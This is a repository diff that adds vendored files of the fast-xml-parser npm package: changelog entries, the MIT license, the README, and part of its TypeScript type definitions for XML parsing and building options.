3.12.2 / 2018-09-11
- Fix formatting for JSON to XML output
- Migrate to webpack (PR merged)
- fix cli (PR merged)
3.12.0 / 2018-08-06
- Support hexadecimal values
- Support true number parsing
3.11.2 / 2018-07-23
- Update Demo for more options
- Update license information
- Update readme for formatting, users, and spelling mistakes
- Add missing typescript definition for j2xParser
- refactoring: change filenames
3.11.1 / 2018-06-05
- fix #93: read the text after self closing tag
3.11.0 / 2018-05-20
- return defaultOptions if there are not options in buildOptions function
- added localeRange declaration in parser.d.ts
- Added support of cyrillic characters in validator XML
- fixed bug in validator work when XML data with byte order marker
3.10.0 / 2018-05-13
- Added support of cyrillic characters in parsing XML to JSON
3.9.11 / 2018-05-09
- fix https://github.com/NaturalIntelligence/fast-xml-parser/issues/80 fix nimn chars
- update package information
- fix https://github.com/NaturalIntelligence/fast-xml-parser/issues/86: json 2 xml parser : property with null value should be parsed to self closing tag.
- update online demo
- revert zombiejs to old version to support old version of node
- update dependencies
3.3.10 / 2018-04-23
- fix #77 : parse even if closing tag has space before '>'
- include all css & js lib in demo app
- remove babel dependencies until needed
3.3.9 / 2018-04-18
- fix #74 : TS2314 TypeScript compiler error
3.3.8 / 2018-04-17
- fix #73 : IE doesn't support Object.assign
3.3.7 / 2018-04-14
- fix: use let insted of const in for loop of validator
- Merge pull request
https://github.com/NaturalIntelligence/fast-xml-parser/issues/71 from bb/master
first draft of typings for typescript
https://github.com/NaturalIntelligence/fast-xml-parser/issues/69
- Merge pull request
https://github.com/NaturalIntelligence/fast-xml-parser/issues/70 from bb/patch-1
fix some typos in readme
3.3.6 / 2018-03-21
- change arrow functions to full notation for IE compatibility
3.3.5 / 2018-03-15
- fix https://github.com/NaturalIntelligence/fast-xml-parser/issues/67 : attrNodeName invalid behavior
- fix: remove decodeHTML char condition
3.3.4 / 2018-03-14
- remove dependency on "he" package
- refactor code to separate methods in separate files.
- draft code for transforming XML to json string. It is not officially documented due to performance issue.
3.3.0 / 2018-03-05
- use common default options for XML parsing for consistency. And add `parseToNimn` method.
- update nexttodo
- update README about XML to Nimn transformation and remove special notes about 3.x release
- update CONTRIBUTING.ms mentioning nexttodo
- add negative case for XML PIs
- validate xml processing instruction tags https://github.com/NaturalIntelligence/fast-xml-parser/issues/62
- nimndata: handle array with object
- nimndata: node with nested node and text node
- nimndata: handle attributes and text node
- nimndata: add options, handle array
- add xml to nimn data converter
- x2j: direct access property with tagname
- update changelog
- fix validator when single quote presents in value enclosed with double quotes or vice versa
- Revert "remove unneded nimnjs dependency, move opencollective to devDependencies and replace it
with more light opencollective-postinstall"
This reverts commit d47aa7181075d82db4fee97fd8ea32b056fe3f46.
- Merge pull request: https://github.com/NaturalIntelligence/fast-xml-parser/issues/63 from HaroldPutman/suppress-undefined
Keep undefined nodes out of the XML output : This is useful when you are deleting nodes from the JSON and rewriting XML.
3.2.4 / 2018-03-01
- fix #59 fix in validator when open quote presents in attribute value
- Create nexttodo.md
- exclude static from bitHound tests
- add package lock
3.2.3 / 2018-02-28
- Merge pull request from Delagen/master: fix namespaces can contain the same characters as xml names
3.2.2 / 2018-02-22
- fix: attribute xmlns should not be removed if ignoreNameSpace is false
- create CONTRIBUTING.md
3.2.1 / 2018-02-17
- fix: empty attribute should be parsed
3.2.0 / 2018-02-16
- Merge pull request : Dev to Master
- Update README and version
- j2x:add performance test
- j2x: Remove extra empty line before closing tag
- j2x: suppress empty nodes to self closing node if configured
- j2x: provide option to give indentation depth
- j2x: make optional formatting
- j2x: encodeHTMLchat
- j2x: handle cdata tag
- j2x: handle grouped attributes
- convert json to xml
- nested object
- array
- attributes
- text value
- small refactoring
- Merge pull request: Update cli.js to let user validate XML file or data
- Add option for rendering CDATA as separate property
3.0.1 / 2018-02-09
- fix CRLF: replace it with single space in attributes value only.
3.0.0 / 2018-02-08
- change online tool with new changes
- update info about new options
- separate tag value processing to separate function
- make HTML decoding optional
- give an option to allow boolean attributes
- change cli options as per v3
- Correct comparison table format on README
- update v3 information
- some performance improvement changes
- Make regex object local to the method and move some common methods to util
- Change parser to
- handle multiple instances of CDATA
- make triming of value optionals
- HTML decode attribute and text value
- refactor code to separate files
- Ignore newline chars without RE (in validator)
- validate for XML prolog
- Validate DOCTYPE without RE
- Update validator to return error response
- Update README to add detail about V3
- Separate xmlNode model class
- include vscode debug config
- fix for repeated object
- fix attribute regex for boolean attributes
- Fix validator for invalid attributes
2.9.4 / 2018-02-02
- Merge pull request: Decode HTML characters
- refactor source folder name
- ignore bundle / browser js to be published to npm
2.9.3 / 2018-01-26
- Merge pull request: Correctly remove CRLF line breaks
- Enable to parse attribute in online editor
- Fix testing demo app test
- Describe parsing options
- Add options for online demo
2.9.2 / 2018-01-18
- Remove check if tag starting with "XML"
- Fix: when there are spaces before / after CDATA
2.9.1 / 2018-01-16
- Fix: newline should be replaced with single space
- Fix: for single and multiline comments
- validate xml with CDATA
- Fix: the issue when there is no space between 2 attributes
- Fix: https://github.com/NaturalIntelligence/fast-xml-parser/issues/33: when there is newline char in attr val, it doesn't parse
- Merge pull request: fix ignoreNamespace
- fix: don't wrap attributes if only namespace attrs
- fix: use portfinder for run tests, update deps
- fix: don't treat namespaces as attributes when ignoreNamespace enabled
2.9.0 / 2018-01-10
- Rewrite the validator to handle large files.
Ignore DOCTYPE validation.
- Fix: When attribute value has equal sign
2.8.3 / 2017-12-15
- Fix: when a tag has value along with subtags
2.8.2 / 2017-12-04
- Fix value parsing for IE
2.8.1 / 2017-12-01
- fix: validator should return false instead of err when invalid XML
2.8.0 / 2017-11-29
- Add CLI option to ignore value conversion
- Fix variable name when filename is given on CLI
- Update CLI help text
- Merge pull request: xml2js: Accept standard input
- Test Node 8
- Update dependencies
- Bundle readToEnd
- Add ability to read from standard input
2.7.4 / 2017-09-22
- Merge pull request: Allow wrap attributes with subobject to compatible with other parsers output
2.7.3 / 2017-08-02
- fix: handle CDATA with regx
2.7.2 / 2017-07-30
- Change travis config for yarn caching
- fix validator: when tag property is same as array property
- Merge pull request: Failing test case in validator for valid SVG
2.7.1 / 2017-07-26
- Fix: Handle val 0
2.7.0 / 2017-07-25
- Fix test for arrayMode
- Merge pull request: Add arrayMode option to parse any nodes as arrays
2.6.0 / 2017-07-14
- code improvement
- Add unit tests for value conversion for attr
- Merge pull request: option of an attribute value conversion to a number (textAttrConversion) the same way as the textNodeConversion option does. Default value is false.
2.5.1 / 2017-07-01
- Fix XML element name pattern
- Fix XML element name pattern while parsing
- Fix validation for xml tag element
2.5.0 / 2017-06-25
- Improve Validator performance
- update attr matching regex
- Add perf tests
- Improve atrr regex to handle all cases
2.4.4 / 2017-06-08
- Bug fix: when an attribute has single or double quote in value
2.4.3 / 2017-06-05
- Bug fix: when multiple CDATA tags are given
- Merge pull request: add option "textNodeConversion"
- add option "textNodeConversion"
2.4.1 / 2017-04-14
- fix tests
- Bug fix: preserve initial space of node value
- Handle CDATA
2.3.1 / 2017-03-15
- Bug fix: when single self closing tag
- Merge pull request: fix .codeclimate.yml
- Update .codeclimate.yml - Fixed config so it does not error anymore.
- Update .codeclimate.yml
2.3.0 / 2017-02-26
- Code improvement
- add bithound config
- Update usage
- Update travis to generate bundle js before running tests
- 1.Browserify, 2. add more tests for validator
- Add validator
- Fix CLI default parameter bug
2.2.1 / 2017-02-05
- Bug fix: CLI default option

21
node_modules/fast-xml-parser/LICENSE generated vendored Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2017 Amit Kumar Gupta
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

204
node_modules/fast-xml-parser/README.md generated vendored Normal file
View File

@@ -0,0 +1,204 @@
# [fast-xml-parser](https://www.npmjs.com/package/fast-xml-parser)
[![NPM total downloads](https://img.shields.io/npm/dt/fast-xml-parser.svg)](https://npm.im/fast-xml-parser)
Validate XML, Parse XML to JS Object, or Build XML from JS Object without C/C++ based libraries and no callback.
<img align="right" src="static/img/fxp_logo.png" width="180px" alt="FXP logo"/>
* Validate XML data syntactically. Use [detailed-xml-validator](https://github.com/NaturalIntelligence/detailed-xml-validator/) to verify business rules.
* Parse XML to JS Objects and vice versa
* Common JS, ESM, and browser compatible
* Faster than any other pure JS implementation.
It can handle big files (tested up to 100mb). XML Entities, HTML entities, and DOCTYPE entites are supported. Unpaired tags (Eg `<br>` in HTML), stop nodes (Eg `<script>` in HTML) are supported. It can also preserve Order of tags in JS object
> **IMPORTANT**: It is recommended to use [fast-xml-validator](https://github.com/NaturalIntelligence/fast-xml-validator) instead of inbuilt validator.
# Before using this library
- [Flexible-XML-Parser](https://github.com/nodable/flexible-xml-parser) is 1.25 times faster than this library when not preserving order of tags. Takes less memory when processing big files. Supports incomplete XML/HTML. And output is highly customizable. Build whatever you want. So if you're fine with some extra configuration then try it out.
- [@nodable/sax](https://github.com/nodable/sax) is a SAX parser based on [Flexible-XML-Parser](https://github.com/nodable/flexible-xml-parser). 3-4 times faster than `sax` and support all features of base package like incomplete input, streams, skipping certain tags from processing etc.
- [fast-xml-validator](https://github.com/NaturalIntelligence/fast-xml-validator) is separated from this package. Has many features. Faster. You can exvlude particular tag from validation. And much more.
- [fast-xml-builder](https://github.com/NaturalIntelligence/fast-xml-builder) is a XML to JS Object builder used in this package in past. Now, it supports more features, and faster. So, recommend to use it directly.
---
# Your Support, Our Motivation
Please join [Discord community](https://discord.gg/X4Qp9u6Vz) for pre release announcements and discussions.
<!-- ## Try out our New Thoughts
- WishIn - You need it if negative thoughts take over all the time <br>
<a href="https://play.google.com/store/apps/details?id=com.solothought.wishin"> <img src="https://solothought.com/products/assets/images/wishin/YouTubeThumbnail.png" width="500px"/> </a>
- [Text2Chart](https://solothought.com/text2chart/flow): interactive flow chart out of simple text. -->
## Financial Support
Sponsor this project
<a href="https://github.com/sponsors/NaturalIntelligence">
<img src="https://raw.githubusercontent.com/NaturalIntelligence/ThankYouBackers/main/github_sponsor.png" width="180" />
</a>
<a href="https://opencollective.com/fast-xml-parser/donate" target="_blank">
<img src="https://opencollective.com/fast-xml-parser/donate/button@2x.png?color=blue" width=180 />
</a>
<br>
<br>
<br>
> This is a donation. No goods or services are expected in return. Any requests for refunds for those purposes will be rejected.
## Users
<a href="https://github.com/renovatebot/renovate" title="renovate" ><img src="https://avatars1.githubusercontent.com/u/38656520" width="60px" ></a>
<a href="https://vmware.com/" title="vmware" > <img src="https://avatars0.githubusercontent.com/u/473334" width="60px" ></a>
<a href="https://opensource.microsoft.com/" title="microsoft" > <img src="https://avatars0.githubusercontent.com/u/6154722" width="60px" ></a>
<a href="http://ibm.github.io/" title="IBM" > <img src="https://avatars2.githubusercontent.com/u/1459110" width="60px" ></a>
<a href="http://www.smartbear.com" title="SmartBear Software" > <img src="https://avatars2.githubusercontent.com/u/1644671" width="60px" ></a>
<a href="https://github.com/nasa" title="NASA" > <img src="https://avatars0.githubusercontent.com/u/848102" width="60px" ></a>
<a href="https://github.com/prettier" title="Prettier" > <img src="https://avatars0.githubusercontent.com/u/25822731" width="60px" ></a>
<a href="http://brain.js.org/" title="brain.js" > <img src="https://avatars2.githubusercontent.com/u/23732838" width="60px" ></a>
<a href="https://github.com/aws" title="AWS SDK" > <img src="https://avatars.githubusercontent.com/u/2232217" width="60px" ></a>
<a href="http://www.fda.gov/" title="Food and Drug Administration " > <img src="https://avatars2.githubusercontent.com/u/6471964" width="60px" ></a>
<a href="http://www.magento.com/" title="Magento" > <img src="https://avatars2.githubusercontent.com/u/168457" width="60px" ></a>
<a href="https://github.com/SAP" title="SAP" > <img src="https://user-images.githubusercontent.com/7692328/204835214-d9d25b58-e3df-408d-87a3-c7d36b578ee4.png" width="60px" ></a>
<a href="https://github.com/postmanlabs" title="postman" > <img src="https://user-images.githubusercontent.com/7692328/204835529-e9e290ad-696a-49ad-9d34-08e955704715.png" width="60px" ></a>
<a href="https://github.com/react-native-community" title="React Native Community" > <img src="https://avatars.githubusercontent.com/u/20269980?v=4" width="60px" ></a>
<a href="https://github.com/googleapis" title="Google APIs" > <img src="https://avatars.githubusercontent.com/u/16785467?v=4" width="60px" ></a>
<a href="https://github.com/langchain-ai" title="Langchain AI" > <img src="https://avatars.githubusercontent.com/u/126733545?v=4" width="60px" ></a>
<a href="https://github.com/withastro" title="Astro websie builder" > <img src="https://avatars.githubusercontent.com/u/44914786?v=4" width="60px" ></a>
<a href="https://github.com/baidu" title="Baidu" > <img src="https://avatars.githubusercontent.com/u/13245940?v=4" width="60px" ></a>
[more](./USERs.md)
<small>The list of users are mostly published by Github or communicated directly. Feel free to contact if you find any information wrong.</small>
---
# More about this library
## How to use
To use as package dependency
`$ npm install fast-xml-parser`
or
`$ yarn add fast-xml-parser`
To use as system command
`$ npm install fast-xml-parser -g`
To use it on a **webpage** include it from a [CDN](https://cdnjs.com/libraries/fast-xml-parser)
**Example**
As CLI command
```bash
$ fxparser some.xml
```
In a node js project
```js
const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");
const parser = new XMLParser();
let jObj = parser.parse(XMLdata);
const builder = new XMLBuilder();
const xmlContent = builder.build(jObj);
```
In a HTML page
```html
<script src="path/to/fxp.min.js"></script>
:
<script>
const parser = new fxparser.XMLParser();
parser.parse(xmlContent);
</script>
```
Bundle size
| Bundle Name | Size |
| ------------------ | ---- |
| fxbuilder.min.js | 6.5K |
| fxparser.min.js | 20K |
| fxp.min.js | 26K |
| fxvalidator.min.js | 5.7K |
## Documents
<table>
<tr><td>v3</td><td>v4 and v5</td><td>v6</td></tr>
<tr>
<td>
<a href="./docs/v3/docs.md">documents</a>
</td>
<td><ol>
<li><a href="./docs/v4, v5/1.GettingStarted.md">Getting Started</a></li>
<li><a href="./docs/v4, v5/2.XMLparseOptions.md">XML Parser</a></li>
<li><a href="./docs/v4, v5/3.XMLBuilder.md">XML Builder</a></li>
<li><a href="./docs/v4, v5/4.XMLValidator.md">XML Validator</a></li>
<li><a href="./docs/v4, v5/5.Entities.md">Entities</a></li>
<li><a href="./docs/v4, v5/6.HTMLParsing.md">HTML Document Parsing</a></li>
<li><a href="./docs/v4, v5/7.PITags.md">PI Tag processing</a></li>
<li><a href="./docs/v4, v5/8.PathExpression.md">Path Expression</a></li>
</ol></td>
<td><ol>
<li></li><a href="./docs/v6/1.GettingStarted.md">Getting Started</a></li>
</ol></td>
</tr>
</table>
**note**:
- Version 6 is released with version 4 for experimental use. Based on its demand, it'll be developed and the features can be different in final release.
- Version 5 has the same functionalities as version 4.
## Performance
<small>negative means error</small>
### XML Parser
<img align="left" src="./docs/imgs/XMLParser_v4.png" width="45%" />
<img src="./docs/imgs/XMLParser_large_v4.png" width="47%" />
* Y-axis: requests per second
* X-axis: File size
### XML Builder
<img src="./docs/imgs/XMLBuilder_v4.png" width="50%" />
* Y-axis: requests per second
<!-- [![](static/img/ni_ads_ads.gif)](https://github.com/NaturalIntelligence/ads/) -->
---
## Usage Trend
[Usage Trend of fast-xml-parser](https://npm-compare.com/fast-xml-parser#timeRange=THREE_YEARS)
<a href="https://npm-compare.com/fast-xml-parser#timeRange=THREE_YEARS" target="_blank">
<img src="https://npm-compare.com/img/npm-trend/THREE_YEARS/fast-xml-parser.png" width="50%" alt="NPM Usage Trend of fast-xml-parser" />
</a>
# Supporters
#### Contributors
This project exists thanks to [all](graphs/contributors) the people who contribute. [[Contribute](docs/CONTRIBUTING.md)].
<a href="graphs/contributors"><img src="https://opencollective.com/fast-xml-parser/contributors.svg?width=890&button=false" /></a>
#### Backers from Open collective
Thank you to all our backers! 🙏 [[Become a backer](https://opencollective.com/fast-xml-parser#backer)]
<a href="https://opencollective.com/fast-xml-parser#backers" target="_blank"><img src="https://opencollective.com/fast-xml-parser/backers.svg?width=890"></a>
# License
* MIT License
![Donate $5](static/img/donation_quote.png)

2
node_modules/fast-xml-parser/lib/fxbuilder.min.js generated vendored Normal file

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

1
node_modules/fast-xml-parser/lib/fxp.cjs generated vendored Normal file

File diff suppressed because one or more lines are too long

774
node_modules/fast-xml-parser/lib/fxp.d.cts generated vendored Normal file
View File

@@ -0,0 +1,774 @@
/**
* Types copied from path-expression-matcher
* @version <version>
* @updated <date>
*
* Update this file when path-expression-matcher releases a new version.
* Source: https://github.com/NaturalIntelligence/path-expression-matcher
*/
/**
* Options for creating an Expression
*/
interface ExpressionOptions {
/**
* Path separator character
* @default '.'
*/
separator?: string;
}
/**
* Parsed segment from an expression pattern
*/
interface Segment {
type: 'tag' | 'deep-wildcard';
tag?: string;
namespace?: string;
attrName?: string;
attrValue?: string;
position?: 'first' | 'last' | 'odd' | 'even' | 'nth';
positionValue?: number;
}
/**
* Expression - Parses and stores a tag pattern expression.
* Patterns are parsed once and stored in an optimized structure for fast matching.
*
* @example
* ```typescript
* const expr = new Expression("root.users.user");
* const expr2 = new Expression("..user[id]:first");
* const expr3 = new Expression("root/users/user", { separator: '/' });
* ```
*
* Pattern Syntax:
* - `root.users.user` — Match exact path
* - `..user` — Match "user" at any depth (deep wildcard)
* - `user[id]` — Match user tag with "id" attribute
* - `user[id=123]` — Match user tag where id="123"
* - `user:first` — Match first occurrence of user tag
* - `ns::user` — Match user tag with namespace "ns"
* - `ns::user[id]:first` — Combine namespace, attribute, and position
*/
declare class Expression {
readonly pattern: string;
readonly separator: string;
readonly segments: Segment[];
constructor(pattern: string, options?: ExpressionOptions);
get length(): number;
hasDeepWildcard(): boolean;
hasAttributeCondition(): boolean;
hasPositionSelector(): boolean;
toString(): string;
}
// ---------------------------------------------------------------------------
// MatcherView
// ---------------------------------------------------------------------------
/**
* A lightweight, live read-only view of a Matcher instance.
*
* Returned by `Matcher.readOnly()`. The same instance is reused across every
* callback invocation — no allocation overhead per call. Reads directly from
* the parent Matcher's internal state so it always reflects the current parser
* position with no copying or freezing.
*
* Mutation methods (`push`, `pop`, `reset`, `updateCurrent`, `restore`) are
* simply absent — misuse is caught at compile time by TypeScript.
*
* This is the type received by all FXP user callbacks when `jPath: false`.
*/
interface MatcherView {
readonly separator: string;
/** Check if current path matches an Expression. */
matches(expression: Expression): boolean;
/** Get current tag name, or `undefined` if path is empty. */
getCurrentTag(): string | undefined;
/** Get current namespace, or `undefined` if not present. */
getCurrentNamespace(): string | undefined;
/** Get attribute value of the current node. */
getAttrValue(attrName: string): any;
/** Check if the current node has a given attribute. */
hasAttr(attrName: string): boolean;
/** Sibling position of the current node (child index in parent). */
getPosition(): number;
/** Occurrence counter of the current tag name at this level. */
getCounter(): number;
/** Number of nodes in the current path. */
getDepth(): number;
/** Current path as a string (e.g. `"root.users.user"`). */
toString(separator?: string, includeNamespace?: boolean): string;
/** Current path as an array of tag names. */
toArray(): string[];
/**
* Create a snapshot of the current state.
* The snapshot can be passed to the real Matcher.restore() if needed.
*/
snapshot(): MatcherSnapshot;
}
/**
* @deprecated Use {@link MatcherView} instead.
* Alias kept for backward compatibility.
*/
type ReadonlyMatcher = MatcherView;
/** Internal node structure — exposed via snapshot only. */
interface PathNode {
tag: string;
namespace?: string;
position: number;
counter: number;
values?: Record<string, any>;
}
/** Snapshot of matcher state returned by `snapshot()` and `readOnly().snapshot()`. */
interface MatcherSnapshot {
path: PathNode[];
siblingStacks: Map<string, number>[];
}
/**********************************************************************
*
* END of path-expression-matcher relevant typings
*
**********************************************************************/
// jPath: true → string
// jPath: false → MatcherView
type JPathOrMatcher = string | MatcherView;
type JPathOrExpression = string | Expression;
type ProcessEntitiesOptions = {
/**
* Whether to enable entity processing
*
* Defaults to `true`
*/
enabled?: boolean;
/**
* Maximum size in characters for a single entity definition
*
* Defaults to `10000`
*/
maxEntitySize?: number;
/**
* Maximum depth for nested entity references (reserved for future use)
*
* Defaults to `10`
*/
maxExpansionDepth?: number;
/**
* Maximum total number of entity expansions allowed
*
* Defaults to `1000`
*/
maxTotalExpansions?: number;
/**
* Maximum total expanded content length in characters
*
* Defaults to `100000`
*/
maxExpandedLength?: number;
/**
* Maximum number of entities allowed in the XML
*
* Defaults to `100`
*/
maxEntityCount?: number;
/**
* Array of tag names where entity replacement is allowed.
* If null, entities are replaced in all tags.
*
* Defaults to `null`
*/
allowedTags?: string[] | null;
/**
* Custom filter function to determine if entities should be replaced in a tag
*
* @param tagName - The name of the current tag
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @returns `true` to allow entity replacement, `false` to skip
*
* Defaults to `null`
*/
tagFilter?: ((tagName: string, jPathOrMatcher: JPathOrMatcher) => boolean) | null;
};
type EntityDecoderOptions = {
setExternalEntities: (entities: Record<string, string>) => void;
addInputEntities: (entities: Record<string, string>) => void;
reset: () => void;
decode: (text: string) => string;
setXmlVersion: (version: number) => void;
}
type X2jOptions = {
/**
* Preserve the order of tags in resulting JS object
*
* Defaults to `false`
*/
preserveOrder?: boolean;
/**
* Give a prefix to the attribute name in the resulting JS object
*
* Defaults to '@_'
*/
attributeNamePrefix?: string;
/**
* A name to group all attributes of a tag under, or `false` to disable
*
* Defaults to `false`
*/
attributesGroupName?: false | string;
/**
* The name of the next node in the resulting JS
*
* Defaults to `#text`
*/
textNodeName?: string;
/**
* Whether to ignore attributes when parsing
*
* When `true` - ignores all the attributes
*
* When `false` - parses all the attributes
*
* When `Array<string | RegExp>` - filters out attributes that match provided patterns
*
* When `Function` - calls the function for each attribute and filters out those for which the function returned `true`
*
* Defaults to `true`
*/
ignoreAttributes?: boolean | (string | RegExp)[] | ((attrName: string, jPathOrMatcher: JPathOrMatcher) => boolean);
/**
* Whether to remove namespace string from tag and attribute names
*
* Defaults to `false`
*/
removeNSPrefix?: boolean;
/**
* Whether to allow attributes without value
*
* Defaults to `false`
*/
allowBooleanAttributes?: boolean;
/**
* Whether to parse tag value with `strnum` package
*
* Defaults to `true`
*/
parseTagValue?: boolean;
/**
* Whether to parse attribute value with `strnum` package
*
* Defaults to `false`
*/
parseAttributeValue?: boolean;
/**
* Whether to remove surrounding whitespace from tag or attribute value
*
* Defaults to `true`
*/
trimValues?: boolean;
/**
* Give a property name to set CDATA values to instead of merging to tag's text value
*
* Defaults to `false`
*/
cdataPropName?: false | string;
/**
* If set, parse comments and set as this property
*
* Defaults to `false`
*/
commentPropName?: false | string;
/**
* Control how tag value should be parsed. Called only if tag value is not empty
*
* @param tagName - The name of the tag
* @param tagValue - The value of the tag
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @param hasAttributes - Whether the tag has attributes
* @param isLeafNode - Whether the tag is a leaf node
* @returns {undefined|null} `undefined` or `null` to set original value.
* @returns {unknown}
*
* 1. Different value or value with different data type to set new value.
* 2. Same value to set parsed value if `parseTagValue: true`.
*
* Defaults to `(tagName, val, jPathOrMatcher, hasAttributes, isLeafNode) => val`
*/
tagValueProcessor?: (tagName: string, tagValue: string, jPathOrMatcher: JPathOrMatcher, hasAttributes: boolean, isLeafNode: boolean) => unknown;
/**
* Control how attribute value should be parsed
*
* @param attrName - The name of the attribute
* @param attrValue - The value of the attribute
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @returns {undefined|null} `undefined` or `null` to set original value
* @returns {unknown}
*
* Defaults to `(attrName, val, jPathOrMatcher) => val`
*/
attributeValueProcessor?: (attrName: string, attrValue: string, jPathOrMatcher: JPathOrMatcher) => unknown;
/**
* Options to pass to `strnum` for parsing numbers
*
* Defaults to `{ hex: true, leadingZeros: true, eNotation: true }`
*/
numberParseOptions?: strnumOptions;
/**
* Nodes to stop parsing at
*
* Accepts string patterns or Expression objects from path-expression-matcher
*
* String patterns starting with "*." are automatically converted to ".." for backward compatibility
*
* Defaults to `[]`
*/
stopNodes?: JPathOrExpression[];
/**
* List of tags without closing tags
*
* Defaults to `[]`
*/
unpairedTags?: string[];
/**
* Whether to always create a text node
*
* Defaults to `false`
*/
alwaysCreateTextNode?: boolean;
/**
* Determine whether a tag should be parsed as an array
*
* @param tagName - The name of the tag
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @param isLeafNode - Whether the tag is a leaf node
* @param isAttribute - Whether this is an attribute
* @returns {boolean}
*
* Defaults to `() => false`
*/
isArray?: (tagName: string, jPathOrMatcher: JPathOrMatcher, isLeafNode: boolean, isAttribute: boolean) => boolean;
/**
* Whether to process default and DOCTYPE entities
*
* When `true` - enables entity processing with default limits
*
* When `false` - disables all entity processing
*
* When `ProcessEntitiesOptions` - enables entity processing with custom configuration
*
* Defaults to `true`
*/
processEntities?: boolean | ProcessEntitiesOptions;
/**
* Whether to process HTML entities
*
* Defaults to `false`
* @deprecated Use `entityDecoder` instead
*/
htmlEntities?: boolean;
/**
* Custom entity decoder
*/
entityDecoder?: EntityDecoderOptions;
/**
* Whether to ignore the declaration tag from output
*
* Defaults to `false`
*/
ignoreDeclaration?: boolean;
/**
* Whether to ignore Pi tags
*
* Defaults to `false`
*/
ignorePiTags?: boolean;
/**
* Transform tag names
*
* Defaults to `false`
*/
transformTagName?: ((tagName: string) => string) | false;
/**
* Transform attribute names
*
* Defaults to `false`
*/
transformAttributeName?: ((attributeName: string) => string) | false;
/**
* Change the tag name when a different name is returned. Skip the tag from parsed result when false is returned.
* Modify `attrs` object to control attributes for the given tag.
*
* @param tagName - The name of the tag
* @param jPathOrMatcher - The jPath string (if jPath: true) or Matcher instance (if jPath: false)
* @param attrs - The attributes object
* @returns {string} new tag name.
* @returns false to skip the tag
*
* Defaults to `(tagName, jPathOrMatcher, attrs) => tagName`
*/
updateTag?: (tagName: string, jPathOrMatcher: JPathOrMatcher, attrs: { [k: string]: string }) => string | boolean;
/**
* If true, adds a Symbol to all object nodes, accessible by {@link XMLParser.getMetaDataSymbol} with
* metadata about each the node in the XML file.
*/
captureMetaData?: boolean;
/**
* Maximum number of nested tags
*
* Defaults to `100`
*/
maxNestedTags?: number;
/**
* Whether to strictly validate tag names
*
* Defaults to `true`
*/
strictReservedNames?: boolean;
/**
* Controls whether callbacks receive jPath as string or Matcher instance
*
* When `true` - callbacks receive jPath as string (backward compatible)
*
* When `false` - callbacks receive Matcher instance for advanced pattern matching
*
* Defaults to `true`
*/
jPath?: boolean;
/**
* Function to sanitize dangerous property names
*
* @param name - The name of the property
* @returns {string} The sanitized name
*
* Defaults to `(name) => __name`
*/
onDangerousProperty?: (name: string) => string;
};
type strnumOptions = {
hex: boolean;
leadingZeros: boolean,
skipLike?: RegExp,
eNotation?: boolean,
infinity?: string,
unicode?: boolean
}
type validationOptions = {
/**
* Whether to allow attributes without value
*
* Defaults to `false`
*/
allowBooleanAttributes?: boolean;
/**
* List of tags without closing tags
*
* Defaults to `[]`
*/
unpairedTags?: string[];
};
type XmlBuilderOptions = {
/**
* Give a prefix to the attribute name in the resulting JS object
*
* Defaults to '@_'
*/
attributeNamePrefix?: string;
/**
* A name to group all attributes of a tag under, or `false` to disable
*
* Defaults to `false`
*/
attributesGroupName?: false | string;
/**
* The name of the next node in the resulting JS
*
* Defaults to `#text`
*/
textNodeName?: string;
/**
* Whether to ignore attributes when building
*
* When `true` - ignores all the attributes
*
* When `false` - builds all the attributes
*
* When `Array<string | RegExp>` - filters out attributes that match provided patterns
*
* When `Function` - calls the function for each attribute and filters out those for which the function returned `true`
*
* Defaults to `true`
*/
ignoreAttributes?: boolean | (string | RegExp)[] | ((attrName: string, jPath: string) => boolean);
/**
* Give a property name to set CDATA values to instead of merging to tag's text value
*
* Defaults to `false`
*/
cdataPropName?: false | string;
/**
* If set, parse comments and set as this property
*
* Defaults to `false`
*/
commentPropName?: false | string;
/**
* Whether to make output pretty instead of single line
*
* Defaults to `false`
*/
format?: boolean;
/**
* If `format` is set to `true`, sets the indent string
*
* Defaults to ` `
*/
indentBy?: string;
/**
* Give a name to a top-level array
*
* Defaults to `undefined`
*/
arrayNodeName?: string;
/**
* Create empty tags for tags with no text value
*
* Defaults to `false`
*/
suppressEmptyNode?: boolean;
/**
* Suppress an unpaired tag
*
* Defaults to `true`
*/
suppressUnpairedNode?: boolean;
/**
* Don't put a value for boolean attributes
*
* Defaults to `true`
*/
suppressBooleanAttributes?: boolean;
/**
* Preserve the order of tags in resulting JS object
*
* Defaults to `false`
*/
preserveOrder?: boolean;
/**
* List of tags without closing tags
*
* Defaults to `[]`
*/
unpairedTags?: string[];
/**
* Nodes to stop parsing at
*
* Accepts string patterns or Expression objects from path-expression-matcher
*
* Defaults to `[]`
*/
stopNodes?: JPathOrExpression[];
/**
* Control how tag value should be parsed. Called only if tag value is not empty
*
* @returns {undefined|null} `undefined` or `null` to set original value.
* @returns {unknown}
*
* 1. Different value or value with different data type to set new value.
* 2. Same value to set parsed value if `parseTagValue: true`.
*
* Defaults to `(tagName, val, jPath, hasAttributes, isLeafNode) => val`
*/
tagValueProcessor?: (name: string, value: unknown) => unknown;
/**
* Control how attribute value should be parsed
*
* @param attrName
* @param attrValue
* @param jPath
